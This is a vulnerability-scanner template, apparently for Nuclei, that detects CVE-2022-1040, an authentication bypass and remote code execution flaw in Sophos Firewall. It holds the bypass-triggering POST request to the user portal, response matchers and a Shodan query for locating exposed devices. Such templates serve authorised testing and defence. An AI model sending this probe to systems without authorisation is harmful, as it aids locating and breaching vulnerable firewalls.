id: CVE-2022-1040

info:
  name: Sophos Firewall - RCE
  author: For3stCo1d
  severity: critical
  description: |
    An authentication bypass vulnerability in the User Portal and Webadmin allows a remote attacker to execute code in Sophos Firewall version v18.5 MR3 and older.
  reference:
    - https://github.com/killvxk/CVE-2022-1040
    - https://github.com/CronUp/Vulnerabilidades/blob/main/CVE-2022-1040_checker
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1040
    - https://www.sophos.com/en-us/security-advisories/sophos-sa-20220325-sfos-rce
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-1040
    cwe-id: CWE-287
  metadata:
    shodan-query: http.title:"Sophos"
    verified: true
  tags: cve,cve2022,sophos,firewall,auth-bypass

requests:
  - method: POST
    path:
      - "{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"🦞\":\"test\"}"

    headers:
      X-Requested-With: "XMLHttpRequest"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{\"status\":\"Session Expired\"}"

      - type: word
        part: header
        words:
          - "Server: xxxx"

      - type: status
        status:
          - 200